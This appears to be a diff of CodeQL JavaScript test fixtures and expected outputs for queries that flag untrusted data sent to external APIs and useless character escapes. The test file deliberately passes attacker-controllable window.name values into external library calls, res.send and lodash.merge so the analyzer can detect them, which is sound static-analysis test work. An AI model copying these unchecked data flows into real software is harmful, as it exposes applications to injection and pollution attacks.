-| tst-UntrustedDataToExternalAPI.js:6:17:6:25 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:6:17:6:25 | untrusted | Call to external-lib() [param 0 'x'] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:7:16:7:24 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:7:16:7:24 | untrusted | Call to external-lib() [param *] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:8:31:8:39 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:8:31:8:39 | untrusted | Call to external-lib() [param *] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:9:18:9:26 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:9:18:9:26 | untrusted | Call to external-lib() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:10:13:10:33 | ['x', u ... d, 'y'] | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:10:13:10:33 | ['x', u ... d, 'y'] | Call to external-lib() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:11:20:11:28 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:11:20:11:28 | untrusted | Call to external-lib() [param 1] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:13:8:17:5 | {\\n      ... }\\n    } | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:13:8:17:5 | {\\n      ... }\\n    } | Call to external-lib() [param 0 'x'] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:33:14:33:22 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:33:14:33:22 | untrusted | Call to external-lib.get.[callback].[param 'res'].send() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:34:34:34:42 | untrusted | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:34:34:34:42 | untrusted | Call to external-lib.get.[callback].[param 'req'].app.locals.something.foo() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:41:7:41:8 | {} | Call to lodash.merge() [param 0] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
-| tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | tst-UntrustedDataToExternalAPI.js:41:11:45:1 | {\\n    x ... usted\\n} | Call to lodash.merge() [param 1] with untrusted data from $@. | tst-UntrustedDataToExternalAPI.js:3:17:3:27 | window.name | window.name |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.qlref b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.qlref
index 7752378db17d..72cf5459b163 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.qlref
@@ -1 +1,2 @@
-Security/CWE-020/UntrustedDataToExternalAPI.ql
+query: Security/CWE-020/UntrustedDataToExternalAPI.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js
index 864b2b68a01c..ece90af5215c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js
@@ -1,20 +1,20 @@
 let externalLib = require('external-lib');
 
-let untrusted = window.name;
+let untrusted = window.name; // $ Source
 
-externalLib(untrusted);
-externalLib({x: untrusted});
-externalLib(...untrusted);
-externalLib(...window.CONFIG, untrusted);
-externalLib({ ...untrusted });
-externalLib(['x', untrusted, 'y']);
-externalLib('foo', untrusted);
+externalLib(untrusted); // $ Alert
+externalLib({x: untrusted}); // $ Alert
+externalLib(...untrusted); // $ Alert
+externalLib(...window.CONFIG, untrusted); // $ Alert
+externalLib({ ...untrusted }); // $ Alert
+externalLib(['x', untrusted, 'y']); // $ Alert
+externalLib('foo', untrusted); // $ Alert
 externalLib({
     x: {
         y: {
             z: untrusted
         }
-    }
+    } // $ Alert
 });
 
 function getDeepUntrusted() {
@@ -30,16 +30,16 @@ function getDeepUntrusted() {
 externalLib(getDeepUntrusted());
 
 externalLib.get('/foo', (req, res) => {
-    res.send(untrusted);
-    req.app.locals.something.foo(untrusted);
+    res.send(untrusted); // $ Alert
+    req.app.locals.something.foo(untrusted); // $ Alert
 });
 
 let jsonSafeParse = require('json-safe-parse');
 jsonSafeParse(untrusted); // no need to report; has known taint step
 
 let merge = require('lodash.merge');
-merge({}, {
+merge({}, { // $ Alert
     x: untrusted, // should not be treated as individual named parameters
     y: untrusted,
     z: untrusted
-});
+}); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected
index 6cd6e27b0edc..b3c764e85cbf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected
@@ -1,59 +1,59 @@
-| tst-escapes.js:19:8:19:11 | "\\ " | The escape sequence '\\ ' is equivalent to just ' '. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\a' is equivalent to just 'a'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\e' is equivalent to just 'e'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\g' is equivalent to just 'g'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\h' is equivalent to just 'h'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\i' is equivalent to just 'i'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\j' is equivalent to just 'j'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\l' is equivalent to just 'l'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\m' is equivalent to just 'm'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\o' is equivalent to just 'o'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\q' is equivalent to just 'q'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\y' is equivalent to just 'y'. |
-| tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\z' is equivalent to just 'z'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\A' is equivalent to just 'A'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\C' is equivalent to just 'C'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\E' is equivalent to just 'E'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\F' is equivalent to just 'F'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\G' is equivalent to just 'G'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\H' is equivalent to just 'H'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\I' is equivalent to just 'I'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\J' is equivalent to just 'J'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\K' is equivalent to just 'K'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\L' is equivalent to just 'L'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\M' is equivalent to just 'M'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\N' is equivalent to just 'N'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\O' is equivalent to just 'O'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\Q' is equivalent to just 'Q'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\R' is equivalent to just 'R'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\T' is equivalent to just 'T'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\U' is equivalent to just 'U'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\V' is equivalent to just 'V'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\X' is equivalent to just 'X'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\Y' is equivalent to just 'Y'. |
-| tst-escapes.js:21:1:21:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\Z' is equivalent to just 'Z'. |
-| tst-escapes.js:22:1:22:28 | /\\`\\1\\2 ... \\0\\-\\=/ | The escape sequence '\\=' is equivalent to just '='. |
-| tst-escapes.js:22:1:22:28 | /\\`\\1\\2 ... \\0\\-\\=/ | The escape sequence '\\`' is equivalent to just '`'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\!' is equivalent to just '!'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\#' is equivalent to just '#'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\%' is equivalent to just '%'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\&' is equivalent to just '&'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\@' is equivalent to just '@'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\_' is equivalent to just '_'. |
-| tst-escapes.js:23:1:23:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\~' is equivalent to just '~'. |
-| tst-escapes.js:24:1:24:15 | /\\[\\]\\'\\\\,\\.\\// | The escape sequence '\\'' is equivalent to just '''. |
-| tst-escapes.js:25:1:25:16 | /\\{\\}\\"\\\|\\<\\>\\?/ | The escape sequence '\\"' is equivalent to just '"'. |
-| tst-escapes.js:25:1:25:16 | /\\{\\}\\"\\\|\\<\\>\\?/ | The escape sequence '\\<' is equivalent to just '<'. |
-| tst-escapes.js:25:1:25:16 | /\\{\\}\\"\\\|\\<\\>\\?/ | The escape sequence '\\>' is equivalent to just '>'. |
-| tst-escapes.js:26:1:26:4 | /\\ / | The escape sequence '\\ ' is equivalent to just ' '. |
-| tst-escapes.js:29:8:29:11 | "\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
-| tst-escapes.js:31:8:31:13 | "\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
-| tst-escapes.js:33:8:33:15 | "\\\\\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
-| tst-escapes.js:35:8:35:17 | "\\\\\\\\\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
-| tst-escapes.js:37:8:37:19 | "\\\\\\\\\\\\\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
-| tst-escapes.js:42:1:42:4 | "\\." | The escape sequence '\\.' is equivalent to just '.'. |
-| tst-escapes.js:48:8:48:15 | "'\\'\\\\'" | The escape sequence '\\'' is equivalent to just '''. |
-| tst-escapes.js:50:8:50:15 | '"\\"\\\\"' | The escape sequence '\\"' is equivalent to just '"'. |
-| tst-escapes.js:66:8:66:13 | "\\\\\\]" | The escape sequence '\\]' is equivalent to just ']'. |
-| tst-escapes.js:67:8:67:14 | "x\\\\\\]" | The escape sequence '\\]' is equivalent to just ']'. |
-| tst-escapes.js:71:8:71:17 | "\\\\\\\\\\\\\\]" | The escape sequence '\\]' is equivalent to just ']'. |
+| tst-escapes.js:17:8:17:11 | "\\ " | The escape sequence '\\ ' is equivalent to just ' '. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\a' is equivalent to just 'a'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\e' is equivalent to just 'e'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\g' is equivalent to just 'g'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\h' is equivalent to just 'h'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\i' is equivalent to just 'i'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\j' is equivalent to just 'j'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\l' is equivalent to just 'l'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\m' is equivalent to just 'm'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\o' is equivalent to just 'o'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\q' is equivalent to just 'q'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\y' is equivalent to just 'y'. |
+| tst-escapes.js:18:1:18:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\z' is equivalent to just 'z'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\A' is equivalent to just 'A'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\C' is equivalent to just 'C'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\E' is equivalent to just 'E'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\F' is equivalent to just 'F'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\G' is equivalent to just 'G'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\H' is equivalent to just 'H'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\I' is equivalent to just 'I'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\J' is equivalent to just 'J'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\K' is equivalent to just 'K'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\L' is equivalent to just 'L'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\M' is equivalent to just 'M'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\N' is equivalent to just 'N'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\O' is equivalent to just 'O'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\Q' is equivalent to just 'Q'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\R' is equivalent to just 'R'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\T' is equivalent to just 'T'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\U' is equivalent to just 'U'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\V' is equivalent to just 'V'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\X' is equivalent to just 'X'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\Y' is equivalent to just 'Y'. |
+| tst-escapes.js:19:1:19:52 | /\\A\\B\\C ... \\X\\Y\\Z/ | The escape sequence '\\Z' is equivalent to just 'Z'. |
+| tst-escapes.js:20:1:20:28 | /\\`\\1\\2 ... \\0\\-\\=/ | The escape sequence '\\=' is equivalent to just '='. |
+| tst-escapes.js:20:1:20:28 | /\\`\\1\\2 ... \\0\\-\\=/ | The escape sequence '\\`' is equivalent to just '`'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\!' is equivalent to just '!'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\#' is equivalent to just '#'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\%' is equivalent to just '%'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\&' is equivalent to just '&'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\@' is equivalent to just '@'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\_' is equivalent to just '_'. |
+| tst-escapes.js:21:1:21:28 | /\\~\\!\\@ ... \\)\\_\\+/ | The escape sequence '\\~' is equivalent to just '~'. |
+| tst-escapes.js:22:1:22:15 | /\\[\\]\\'\\\\,\\.\\// | The escape sequence '\\'' is equivalent to just '''. |
+| tst-escapes.js:23:1:23:16 | /\\{\\}\\"\\\|\\<\\>\\?/ | The escape sequence '\\"' is equivalent to just '"'. |
+| tst-escapes.js:23:1:23:16 | /\\{\\}\\"\\\|\\<\\>\\?/ | The escape sequence '\\<' is equivalent to just '<'. |
+| tst-escapes.js:23:1:23:16 | /\\{\\}\\"\\\|\\<\\>\\?/ | The escape sequence '\\>' is equivalent to just '>'. |
+| tst-escapes.js:24:1:24:4 | /\\ / | The escape sequence '\\ ' is equivalent to just ' '. |
+| tst-escapes.js:27:8:27:11 | "\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
+| tst-escapes.js:29:8:29:13 | "\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
+| tst-escapes.js:31:8:31:15 | "\\\\\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
+| tst-escapes.js:33:8:33:17 | "\\\\\\\\\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
+| tst-escapes.js:35:8:35:19 | "\\\\\\\\\\\\\\\\\\a" | The escape sequence '\\a' is equivalent to just 'a'. |
+| tst-escapes.js:40:1:40:4 | "\\." | The escape sequence '\\.' is equivalent to just '.'. |
+| tst-escapes.js:46:8:46:15 | "'\\'\\\\'" | The escape sequence '\\'' is equivalent to just '''. |
+| tst-escapes.js:48:8:48:15 | '"\\"\\\\"' | The escape sequence '\\"' is equivalent to just '"'. |
+| tst-escapes.js:64:8:64:13 | "\\\\\\]" | The escape sequence '\\]' is equivalent to just ']'. |
+| tst-escapes.js:65:8:65:14 | "x\\\\\\]" | The escape sequence '\\]' is equivalent to just ']'. |
+| tst-escapes.js:69:8:69:17 | "\\\\\\\\\\\\\\]" | The escape sequence '\\]' is equivalent to just ']'. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected
index f7badbcbd86a..8bd58ce20b93 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected
@@ -1,43 +1,43 @@
-| tst-escapes.js:13:11:13:12 | '\\b' is a backspace, and not a word-boundary assertion | The escape sequence '\\b' is a backspace, and not a word-boundary assertion when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
-| tst-escapes.js:13:13:13:14 | '\\c' is equivalent to just 'c', so the sequence is not a character class | The escape sequence '\\c' is equivalent to just 'c', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
-| tst-escapes.js:13:15:13:16 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
-| tst-escapes.js:13:29:13:30 | '\\k' is equivalent to just 'k', so the sequence is not a backreference | The escape sequence '\\k' is equivalent to just 'k', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
-| tst-escapes.js:13:39:13:40 | '\\p' is equivalent to just 'p', so the sequence is not a character class | The escape sequence '\\p' is equivalent to just 'p', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
-| tst-escapes.js:13:45:13:46 | '\\s' is equivalent to just 's', so the sequence is not a character class | The escape sequence '\\s' is equivalent to just 's', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
-| tst-escapes.js:14:11:14:12 | '\\B' is equivalent to just 'B', so the sequence is not an assertion | The escape sequence '\\B' is equivalent to just 'B', so the sequence is not an assertion when it is used in a $@. | tst-escapes.js:14:8:14:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
-| tst-escapes.js:14:15:14:16 | '\\D' is equivalent to just 'D', so the sequence is not a character class | The escape sequence '\\D' is equivalent to just 'D', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:14:8:14:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
-| tst-escapes.js:14:39:14:40 | '\\P' is equivalent to just 'P', so the sequence is not a character class | The escape sequence '\\P' is equivalent to just 'P', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:14:8:14:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
-| tst-escapes.js:14:45:14:46 | '\\S' is equivalent to just 'S', so the sequence is not a character class | The escape sequence '\\S' is equivalent to just 'S', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:14:8:14:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
-| tst-escapes.js:15:11:15:12 | '\\1' is equivalent to just '1', so the sequence is not a backreference | The escape sequence '\\1' is equivalent to just '1', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:13:15:14 | '\\2' is equivalent to just '2', so the sequence is not a backreference | The escape sequence '\\2' is equivalent to just '2', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:15:15:16 | '\\3' is equivalent to just '3', so the sequence is not a backreference | The escape sequence '\\3' is equivalent to just '3', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:17:15:18 | '\\4' is equivalent to just '4', so the sequence is not a backreference | The escape sequence '\\4' is equivalent to just '4', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:19:15:20 | '\\5' is equivalent to just '5', so the sequence is not a backreference | The escape sequence '\\5' is equivalent to just '5', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:21:15:22 | '\\6' is equivalent to just '6', so the sequence is not a backreference | The escape sequence '\\6' is equivalent to just '6', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:23:15:24 | '\\7' is equivalent to just '7', so the sequence is not a backreference | The escape sequence '\\7' is equivalent to just '7', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:25:15:26 | '\\8' is equivalent to just '8', so the sequence is not a backreference | The escape sequence '\\8' is equivalent to just '8', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:27:15:28 | '\\9' is equivalent to just '9', so the sequence is not a backreference | The escape sequence '\\9' is equivalent to just '9', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:15:31:15:32 | '\\-' is equivalent to just '-', so the sequence may still represent a meta-character | The escape sequence '\\-' is equivalent to just '-', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:15:8:15:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
-| tst-escapes.js:16:17:16:18 | '\\$' is equivalent to just '$', so the sequence may still represent a meta-character | The escape sequence '\\$' is equivalent to just '$', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
-| tst-escapes.js:16:21:16:22 | '\\^' is equivalent to just '^', so the sequence may still represent a meta-character | The escape sequence '\\^' is equivalent to just '^', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
-| tst-escapes.js:16:25:16:26 | '\\*' is equivalent to just '*', so the sequence may still represent a meta-character | The escape sequence '\\*' is equivalent to just '*', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
-| tst-escapes.js:16:27:16:28 | '\\(' is equivalent to just '(', so the sequence may still represent a meta-character | The escape sequence '\\(' is equivalent to just '(', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
